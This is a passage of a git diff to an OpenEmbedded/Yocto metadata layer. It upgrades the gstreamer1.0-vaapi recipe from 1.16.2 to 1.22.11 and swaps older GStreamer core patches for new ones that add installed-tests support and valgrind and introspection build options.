- gst_vaapiencode_register (plugin, display);
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.2.bb
deleted file mode 100644
index 1bedf25128..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.2.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "VA-API support to GStreamer"
-DESCRIPTION = "gstreamer-vaapi consists of a collection of VA-API \
-based plugins for GStreamer and helper libraries: `vaapidecode', \
-`vaapiconvert', and `vaapisink'."
-
-REALPN = "gstreamer-vaapi"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz \
- file://0001-vaapsink-downgrade-to-marginal.patch \
- "
-
-SRC_URI[md5sum] = "13f7cb6a64bde24e67f563377487dcce"
-SRC_URI[sha256sum] = "191de7b0ab64a85dd0875c990721e7be95518f60e2a9106beca162004ed7c601"
-
-S = "${WORKDIR}/${REALPN}-${PV}"
-DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
-
-inherit meson pkgconfig gtk-doc features_check upstream-version-is-even
-
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-EXTRA_OEMESON += " \
- -Dexamples=disabled \
-"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GTKDOC_MESON_ENABLE_FLAG = "enabled"
-GTKDOC_MESON_DISABLE_FLAG = "disabled"
-
-PACKAGES =+ "${PN}-tests"
-
-# OpenGL packageconfig factored out to make it easy for distros
-# and BSP layers to pick either glx, egl, or no GL. By default,
-# try detecting X11 first, and if found (with OpenGL), use GLX,
-# otherwise try to check if EGL can be used.
-PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', \
- bb.utils.contains('DISTRO_FEATURES', 'opengl', 'egl', \
- '', d), d)}"
-
-PACKAGECONFIG ??= "drm encoders \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[drm] = "-Dwith_drm=yes,-Dwith_drm=no,udev libdrm"
-PACKAGECONFIG[egl] = "-Dwith_egl=yes,-Dwith_egl=no,virtual/egl"
-PACKAGECONFIG[encoders] = "-Dwith_encoders=yes,-Dwith_encoders=no"
-PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/libgl"
-PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland wayland-protocols"
-PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxrandr libxrender"
-
-FILES_${PN} += "${libdir}/gstreamer-*/*.so"
-FILES_${PN}-dbg += "${libdir}/gstreamer-*/.debug"
-FILES_${PN}-dev += "${libdir}/gstreamer-*/*.a"
-FILES_${PN}-tests = "${bindir}/*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.11.bb
new file mode 100644
index 0000000000..87eb8484a1
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.11.bb
@@ -0,0 +1,53 @@
+SUMMARY = "VA-API support to GStreamer"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+DESCRIPTION = "gstreamer-vaapi consists of a collection of VA-API \
+based plugins for GStreamer and helper libraries: `vaapidecode', \
+`vaapiconvert', and `vaapisink'."
+
+REALPN = "gstreamer-vaapi"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "6eae1360658302b9b512fa46b4d06f5b818dfce5f2f43d7d710ca8142719d8ad"
+
+S = "${WORKDIR}/${REALPN}-${PV}"
+DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
+
+inherit meson pkgconfig features_check upstream-version-is-even
+
+REQUIRED_DISTRO_FEATURES ?= "opengl"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Dtests=enabled \
+"
+
+PACKAGES =+ "${PN}-tests"
+
+# OpenGL packageconfig factored out to make it easy for distros
+# and BSP layers to pick either glx, egl, or no GL. By default,
+# try detecting X11 first, and if found (with OpenGL), use GLX,
+# otherwise try to check if EGL can be used.
+PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', \
+ bb.utils.contains('DISTRO_FEATURES', 'opengl', 'egl', \
+ '', d), d)}"
+
+PACKAGECONFIG ??= "drm encoders \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[drm] = "-Ddrm=enabled,-Ddrm=disabled,udev libdrm"
+PACKAGECONFIG[egl] = "-Degl=enabled,-Degl=disabled,virtual/egl"
+PACKAGECONFIG[encoders] = "-Dencoders=enabled,-Dencoders=disabled"
+PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/libgl"
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,wayland-native wayland wayland-protocols"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,virtual/libx11 libxrandr libxrender"
+
+FILES:${PN} += "${libdir}/gstreamer-*/*.so"
+FILES:${PN}-dbg += "${libdir}/gstreamer-*/.debug"
+FILES:${PN}-dev += "${libdir}/gstreamer-*/*.a"
+FILES:${PN}-tests = "${bindir}/*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
deleted file mode 100644
index 67a872cddb..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From a1d7c582392c8bc87fa9411af77b20e011944357 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 25 Jan 2018 17:55:02 +0200
-Subject: [PATCH] gst/gstpluginloader.c: when env var is set do not fall
- through to system plugin scanner
-
-If we set a custom GST_PLUGIN_SCANNER env var, then we probably want to use that and only that.
-
-Falling through to the one installed on the system is problamatic in cross-compilation
-environemnts, regardless of whether one pointed to by the env var succeeded or failed.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- gst/gstpluginloader.c | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/gst/gstpluginloader.c b/gst/gstpluginloader.c
-index 430829d..3a75731 100644
---- a/gst/gstpluginloader.c
-+++ b/gst/gstpluginloader.c
-@@ -471,9 +471,7 @@ gst_plugin_loader_spawn (GstPluginLoader * loader)
- helper_bin = g_strdup (env);
- res = gst_plugin_loader_try_helper (loader, helper_bin);
- g_free (helper_bin);
-- }
--
-- if (!res) {
-+ } else {
- GST_LOG ("Trying installed plugin scanner");
-
- #ifdef G_OS_WIN32
---
-2.15.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch
new file mode 100644
index 0000000000..0d839bd6c8
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch
@@ -0,0 +1,34 @@
+From 5372cd5bf2a9dd247b9c5fc6e4fe248046dbb085 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 11 Apr 2021 19:48:13 +0100
+Subject: [PATCH] tests: respect the idententaion used in meson
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ tests/check/meson.build | 10 +++++-----
+ 1 file changed, 5 insertions(+), 5 deletions(-)
+
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index 9787b0a..16caac7 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -145,11 +145,11 @@ foreach t : core_tests
+
+ if not skip_test
+ exe = executable(test_name, fname,
+- c_args : gst_c_args + test_defines,
+- cpp_args : gst_c_args + test_defines,
+- include_directories : [configinc],
+- link_with : link_with_libs,
+- dependencies : gst_deps + test_deps,
++ c_args : gst_c_args + test_defines,
++ cpp_args : gst_c_args + test_defines,
++ include_directories : [configinc],
++ link_with : link_with_libs,
++ dependencies : gst_deps + test_deps,
+ )
+
+ env = environment()
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-meson-build-gir-even-when-cross-compiling-if-introsp.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-meson-build-gir-even-when-cross-compiling-if-introsp.patch
deleted file mode 100644
index 1ed7198a5c..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-meson-build-gir-even-when-cross-compiling-if-introsp.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 35db4a2433fbdf8612cf98b5aab5b14aeb5372f8 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Tim-Philipp=20M=C3=BCller?= <tim@centricular.com>
-Date: Thu, 17 Oct 2019 12:13:35 +0100
-Subject: [PATCH] meson: build gir even when cross-compiling if introspection
- was enabled explicitly
-
-This can be made to work in certain circumstances when
-cross-compiling, so default to not building g-i stuff
-when cross-compiling, but allow it if introspection was
-enabled explicitly via -Dintrospection=enabled.
-
-Fixes #454 and #381.
-
-Upstream-Status: Backport [35db4a2433fbdf8612cf98b5aab5b14aeb5372f8]
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 90d98d8eb..a47e7f34e 100644
---- a/meson.build
-+++ b/meson.build
-@@ -466,7 +466,7 @@ rt_lib = cc.find_library('rt', required : false)
- gir = find_program('g-ir-scanner', required : get_option('introspection'))
- gnome = import('gnome')
-
--build_gir = gir.found() and not meson.is_cross_build()
-+build_gir = gir.found() and (not meson.is_cross_build() or get_option('introspection').enabled())
-
- gir_init_section = [ '--add-init-section=extern void gst_init(gint*,gchar**);' + \
- 'g_setenv("GST_REGISTRY_DISABLE", "yes", TRUE);' + \
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch
new file mode 100644
index 0000000000..64717e66c3
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch
@@ -0,0 +1,107 @@
+From 27e977d03b0f7c1d0bf19621ef0cec0585410e7b Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 11 Apr 2021 19:48:13 +0100
+Subject: [PATCH] tests: add support for install the tests
+
+This will provide to run the tests using the gnome-desktop-testing [1]
+
+[1] https://wiki.gnome.org/Initiatives/GnomeGoals/InstalledTests
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ meson.build | 4 ++++
+ meson_options.txt | 1 +
+ tests/check/meson.build | 22 +++++++++++++++++++++-
+ tests/check/template.test.in | 3 +++
+ 4 files changed, 29 insertions(+), 1 deletion(-)
+ create mode 100644 tests/check/template.test.in
+
+diff --git a/meson.build b/meson.build
+index 60c7bec..f7650b1 100644
+--- a/meson.build
++++ b/meson.build
+@@ -606,6 +606,10 @@ if bashcomp_dep.found()
+ endif
+ endif
+
++installed_tests_enabled = get_option('installed_tests')
++installed_tests_metadir = join_paths(datadir, 'installed-tests', meson.project_name())
++installed_tests_execdir = join_paths(libexecdir, 'installed-tests', meson.project_name())
++
+ plugins_install_dir = join_paths(get_option('libdir'), 'gstreamer-1.0')
+
+ pkgconfig = import('pkgconfig')
+diff --git a/meson_options.txt b/meson_options.txt
+index 7363bdb..a34ba37 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -15,6 +15,7 @@ option('poisoning', type : 'boolean', value : false, description : 'Enable poiso
+ option('memory-alignment', type: 'combo',
+ choices : ['1', '2', '4', '8', '16', '32', '64', '128', '256', '512', '1024', '2048', '4096', '8192', 'malloc', 'pagesize'],
+ value: 'malloc')
++option('installed_tests', type : 'boolean', value : false, description : 'Enable installed tests')
+
+ # Feature options
+ option('check', type : 'feature', value : 'auto', description : 'Build unit test libraries')
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index 16caac7..f2d400f 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -124,10 +124,16 @@ test_defines = [
+ '-UG_DISABLE_ASSERT',
+ '-UG_DISABLE_CAST_CHECKS',
+ '-DGST_CHECK_TEST_ENVIRONMENT_BEACON="GST_STATE_IGNORE_ELEMENTS"',
+- '-DTESTFILE="' + meson.current_source_dir() + '/meson.build"',
+ '-DGST_DISABLE_DEPRECATED',
+ ]
+
++testfile = meson.current_source_dir() + '/meson.build'
++if installed_tests_enabled
++ install_data(testfile, install_dir : installed_tests_metadir, rename : 'testfile')
++ testfile = installed_tests_metadir + '/testfile'
++endif
++test_defines += '-DTESTFILE="@0@"'.format(testfile)
++
+ # sanity checking
+ if get_option('check').disabled()
+ if get_option('tests').enabled()
+@@ -150,6 +156,8 @@ foreach t : core_tests
+ include_directories : [configinc],
+ link_with : link_with_libs,
+ dependencies : gst_deps + test_deps,
++ install_dir: installed_tests_execdir,
++ install: installed_tests_enabled,
+ )
+
+ env = environment()
+@@ -161,6 +169,18 @@ foreach t : core_tests
+ env.set('GST_PLUGIN_SCANNER_1_0', gst_scanner_dir + '/gst-plugin-scanner')
+ env.set('GST_PLUGIN_LOADING_WHITELIST', 'gstreamer')
+
++ if installed_tests_enabled
++ test_conf = configuration_data()
++ test_conf.set('installed_tests_dir', join_paths(prefix, installed_tests_execdir))
++ test_conf.set('program', test_name)
++ configure_file(
++ input: 'template.test.in',
++ output: test_name + '.test',
++ install_dir: installed_tests_metadir,
++ configuration: test_conf
++ )
++ endif
++
+ test(test_name, exe, env: env, timeout : 3 * 60)
+ endif
+ endforeach
+diff --git a/tests/check/template.test.in b/tests/check/template.test.in
+new file mode 100644
+index 0000000..f701627
+--- /dev/null
++++ b/tests/check/template.test.in
+@@ -0,0 +1,3 @@
++[Test]
++Type=session
++Exec=@installed_tests_dir@/@program@
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-valgrind-feature.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-valgrind-feature.patch
deleted file mode 100644
index f553340f4d..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-valgrind-feature.patch
+++ /dev/null
@@ -1,74 +0,0 @@
-From f6c7973c03d9ba7dab60c496e768c5e6c4ee824c Mon Sep 17 00:00:00 2001
-From: Carlos Rafael Giani <crg7475@mailbox.org>
-Date: Sun, 20 Oct 2019 10:36:44 +0200
-Subject: [PATCH] meson: Add valgrind feature
-
-This allows for enabling/disabling Valgrind support. Since Valgrind is
-an external dependency, such a feature is needed by build environemnts
-such as Yocto to make sure builds are deterministic. These changes also
-add more Valgrind specific configure log output.
-
-Upstream-Status: Pending
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- meson.build | 23 ++++++++++++++++++++++-
- meson_options.txt | 1 +
- 2 files changed, 23 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index b55ecc5..4751761 100644
---- a/meson.build
-+++ b/meson.build
-@@ -199,7 +199,6 @@ check_headers = [
- 'sys/wait.h',
- 'ucontext.h',
- 'unistd.h',
-- 'valgrind/valgrind.h',
- 'sys/resource.h',
- ]
-
-@@ -214,6 +213,28 @@ foreach h : check_headers
- endif
- endforeach
-
-+valgrind_option = get_option('valgrind')
-+if valgrind_option.disabled()
-+ message('Valgrind support not requested; disabled.')
-+else
-+ valgrind_header = 'valgrind/valgrind.h'
-+ has_valgrind_header = cc.has_header(valgrind_header)
-+ if has_valgrind_header
-+ message('Valgrind support requested, and header ' + valgrind_header + \
-+ ' found. Enabled Valgrind support.')
-+ define = 'HAVE_' + valgrind_header.underscorify().to_upper()
-+ cdata.set(define, 1)
-+ else
-+ if valgrind_option.enabled()
-+ error('Valgrind support requested and set as required, but header ' + \
-+ valgrind_header + ' not found.')
-+ else
-+ message('Valgrind support requested, but header ' + valgrind_header + \
-+ ' not found. Disabling Valgrind support.')
-+ endif
-+ endif
-+endif
-+
- if cc.has_member('struct tm', 'tm_gmtoff', prefix : '#include <time.h>')
- cdata.set('HAVE_TM_GMTOFF', 1)
- endif
-diff --git a/meson_options.txt b/meson_options.txt
-index e7ff7ba..8afde39 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -19,6 +19,7 @@ option('memory-alignment', type: 'combo',
-
- # Feature options
- option('check', type : 'feature', value : 'auto', description : 'Build unit test libraries')
-+option('valgrind', type : 'feature', value : 'auto', description : 'Enable Valgrind support')
- option('libunwind', type : 'feature', value : 'auto', description : 'Use libunwind to generate backtraces')
- option('libdw', type : 'feature', value : 'auto', description : 'Use libdw to generate better backtraces from libunwind')
- option('dbghelp', type : 'feature', value : 'auto', description : 'Use dbghelp to generate backtraces')
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch
new file mode 100644
index 0000000000..0fd830f150
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch
@@ -0,0 +1,48 @@
+From 7041bc5adf9501beb1428d8bbae6b351a6bf07f9 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 24 Apr 2021 10:34:47 +0100
+Subject: [PATCH] tests: use a dictionaries for environment
+
+meson environment() can't be passed to configure_file and it is needed for installed_tests,
+use a dictionary as this is simplest solution to install the environment.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ tests/check/meson.build | 21 +++++++++++++--------
+ 1 file changed, 13 insertions(+), 8 deletions(-)
+
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index f2d400f..50dff7f 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -160,14 +160,19 @@ foreach t : core_tests
+ install: installed_tests_enabled,
+ )
+
+- env = environment()
+- env.set('GST_PLUGIN_PATH_1_0', meson.project_build_root())
+- env.set('GST_PLUGIN_SYSTEM_PATH_1_0', '')
+- env.set('GST_STATE_IGNORE_ELEMENTS', '')
+- env.set('CK_DEFAULT_TIMEOUT', '20')
+- env.set('GST_REGISTRY', '@0@/@1@.registry'.format(meson.current_build_dir(), test_name))
+- env.set('GST_PLUGIN_SCANNER_1_0', gst_scanner_dir + '/gst-plugin-scanner')
+- env.set('GST_PLUGIN_LOADING_WHITELIST', 'gstreamer')
++ # meson environment object can't be passed to configure_file and
++ # installed tests uses configure_file to install the environment.
++ # use a dictionary as this is the simplest solution
++ # to install the environment.
++ env = {
++ 'GST_PLUGIN_PATH_1_0': meson.project_build_root(),
++ 'GST_PLUGIN_SYSTEM_PATH_1_0': '',
++ 'GST_STATE_IGNORE_ELEMENTS': '',
++ 'CK_DEFAULT_TIMEOUT': '20',
++ 'GST_REGISTRY': '@0@/@1@.registry'.format(meson.current_build_dir(), test_name),
++ 'GST_PLUGIN_SCANNER_1_0': gst_scanner_dir + '/gst-plugin-scanner',
++ 'GST_PLUGIN_LOADING_WHITELIST': 'gstreamer',
++ }
+
+ if installed_tests_enabled
+ test_conf = configuration_data()
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-meson-Add-option-for-installed-tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-meson-Add-option-for-installed-tests.patch
deleted file mode 100644
index 0e6c44ea32..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-meson-Add-option-for-installed-tests.patch
+++ /dev/null
@@ -1,257 +0,0 @@
-From b843400284751968862751dfe93853f151551c64 Mon Sep 17 00:00:00 2001
-From: Carlos Rafael Giani <crg7475@mailbox.org>
-Date: Fri, 25 Oct 2019 00:06:26 +0200
-Subject: [PATCH] meson: Add option for installed tests
-
-This adds an option for producing installed versions of the unit tests.
-These versions don't need meson to run (only a small shell script). This
-makes it easier to run cross compiled tests on a target machine.
-
-Upstream-Status: Pending
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- build-aux/gen-installed-test-desc.py | 18 ++++++
- build-aux/gen-installed-test-shscript.py | 25 ++++++++
- meson_options.txt | 2 +
- tests/check/meson.build | 46 +++++++++++++-
- tests/files/testfile | 80 ++++++++++++++++++++++++
- 5 files changed, 170 insertions(+), 1 deletion(-)
- create mode 100644 build-aux/gen-installed-test-desc.py
- create mode 100644 build-aux/gen-installed-test-shscript.py
- create mode 100644 tests/files/testfile
-
-diff --git a/build-aux/gen-installed-test-desc.py b/build-aux/gen-installed-test-desc.py
-new file mode 100644
-index 0000000..69e8a0f
---- /dev/null
-+++ b/build-aux/gen-installed-test-desc.py
-@@ -0,0 +1,18 @@
-+import sys
-+import os
-+import argparse
-+
-+def write_template(filename, data):
-+ with open(filename, 'w') as f:
-+ f.write(data)
-+
-+def build_template(testdir, testname):
-+ return "[Test]\nType=session\nExec={}\n".format(os.path.join(testdir, testname))
-+
-+argparser = argparse.ArgumentParser(description='Generate installed-test data.')
-+argparser.add_argument('--test-execdir', metavar='dir', required=True, help='Installed test directory')
-+argparser.add_argument('--testname', metavar='name', required=True, help='Installed test name')
-+argparser.add_argument('--output', metavar='file', required=True, help='Output file')
-+args = argparser.parse_args()
-+
-+write_template(args.output, build_template(args.test_execdir, args.testname))
-diff --git a/build-aux/gen-installed-test-shscript.py b/build-aux/gen-installed-test-shscript.py
-new file mode 100644
-index 0000000..5da86fb
---- /dev/null
-+++ b/build-aux/gen-installed-test-shscript.py
-@@ -0,0 +1,25 @@
-+import sys
-+import os
-+import argparse
-+
-+def write_template(filename, data):
-+ with open(filename, 'w') as f:
-+ f.write(data)
-+
-+def build_template(testdir, testname):
-+ return ''.join([
-+ "#!/usr/bin/env sh\n",
-+ "export GST_STATE_IGNORE_ELEMENTS=''\n",
-+ "export CK_DEFAULT_TIMEOUT=20\n",
-+ "export GST_PLUGIN_LOADING_WHITELIST='gstreamer'\n",
-+ "{}\n".format(os.path.join(testdir, testname)),
-+ ])
-+
-+argparser = argparse.ArgumentParser(description='Generate installed-test data.')
-+argparser.add_argument('--test-execdir', metavar='dir', required=True, help='Installed test directory')
-+argparser.add_argument('--testname', metavar='name', required=True, help='Installed test name')
-+argparser.add_argument('--output', metavar='file', required=True, help='Output file')
-+args = argparser.parse_args()
-+
-+write_template(args.output, build_template(args.test_execdir, args.testname))
-+os.chmod(args.output, 0o755)
-diff --git a/meson_options.txt b/meson_options.txt
-index 8afde39..8884dcc 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -16,6 +16,8 @@ option('poisoning', type : 'boolean', value : false, description : 'Enable poiso
- option('memory-alignment', type: 'combo',
- choices : ['1', '2', '4', '8', '16', '32', '64', '128', '256', '512', '1024', '2048', '4096', '8192', 'malloc', 'pagesize'],
- value: 'malloc')
-+option('installed-tests', type : 'boolean', value : false, description : 'enable installed tests')
-+option('test-files-path', type : 'string', description : 'Path where to find test files')
-
- # Feature options
- option('check', type : 'feature', value : 'auto', description : 'Build unit test libraries')
-diff --git a/tests/check/meson.build b/tests/check/meson.build
-index 04da83f..2db7f76 100644
---- a/tests/check/meson.build
-+++ b/tests/check/meson.build
-@@ -118,11 +118,17 @@ if add_languages('cpp', required : false)
- ]
- endif
-
-+test_files_path = get_option('test-files-path')
-+if test_files_path == ''
-+ test_files_path = meson.current_source_dir() + '/../files'
-+endif
-+message('Using path "@0@" as the path to read test files from'.format(test_files_path))
-+
- test_defines = [
- '-UG_DISABLE_ASSERT',
- '-UG_DISABLE_CAST_CHECKS',
- '-DGST_CHECK_TEST_ENVIRONMENT_BEACON="GST_STATE_IGNORE_ELEMENTS"',
-- '-DTESTFILE="' + meson.current_source_dir() + '/meson.build"',
-+ '-DTESTFILE="@0@"'.format(test_files_path + '/testfile'),
- '-DGST_USE_UNSTABLE_API',
- '-DGST_DISABLE_DEPRECATED',
- ]
-@@ -137,6 +143,14 @@ endif
- glib_deps = [gio_dep, gobject_dep, gmodule_dep, glib_dep]
- gst_deps = [gst_dep, gst_base_dep, gst_check_dep, gst_net_dep, gst_controller_dep]
-
-+installed_tests_datadir = join_paths(prefix, get_option('datadir'), 'installed-tests', 'gstreamer-1.0')
-+installed_tests_execdir = join_paths(prefix, libexecdir, 'installed-tests', 'gstreamer-1.0')
-+installed_tests_enabled = get_option('installed-tests')
-+
-+python = import('python').find_installation()
-+gen_installed_test_desc = files('../../build-aux/gen-installed-test-desc.py')
-+gen_installed_test_shscript = files('../../build-aux/gen-installed-test-shscript.py')
-+
- foreach t : core_tests
- fname = t[0]
- test_name = fname.split('.')[0].underscorify()
-@@ -150,8 +164,38 @@ foreach t : core_tests
- include_directories : [configinc],
- link_with : link_with_libs,
- dependencies : test_deps + glib_deps + gst_deps,
-+ install_dir: installed_tests_execdir,
-+ install: installed_tests_enabled
- )
-
-+ if installed_tests_enabled
-+ installed_test_shscript = test_name + '.sh'
-+ shscript = custom_target (test_name + '_shscript',
-+ output: installed_test_shscript,
-+ command: [
-+ python,
-+ gen_installed_test_shscript,
-+ '--test-execdir=@0@'.format(installed_tests_execdir),
-+ '--testname=@0@'.format(test_name),
-+ '--output=@0@'.format(join_paths('@OUTDIR@', installed_test_shscript)),
-+ ],
-+ install: true,
-+ install_dir: installed_tests_execdir)
-+
-+ installed_test_desc = test_name + '.test'
-+ data = custom_target(test_name + '_desc',
-+ output: installed_test_desc,
-+ command: [
-+ python,
-+ gen_installed_test_desc,
-+ '--test-execdir=@0@'.format(installed_tests_execdir),
-+ '--testname=@0@'.format(installed_test_shscript),
-+ '--output=@0@'.format(join_paths('@OUTDIR@', installed_test_desc)),
-+ ],
-+ install: true,
-+ install_dir: installed_tests_datadir)
-+ endif
-+
- env = environment()
- env.set('GST_PLUGIN_PATH_1_0', meson.build_root())
- env.set('GST_PLUGIN_SYSTEM_PATH_1_0', '')
-diff --git a/tests/files/testfile b/tests/files/testfile
-new file mode 100644
-index 0000000..89954e0
---- /dev/null
-+++ b/tests/files/testfile
-@@ -0,0 +1,80 @@
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch
new file mode 100644
index 0000000000..5689dc9fbb
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch
@@ -0,0 +1,72 @@
+From 1b1d1ce4227b6bea7c7def5dac4a663486e070c2 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 2 May 2021 01:58:01 +0100
+Subject: [PATCH] tests: add helper script to run the installed_tests
+
+- this is a bash script that will run the installed_tests
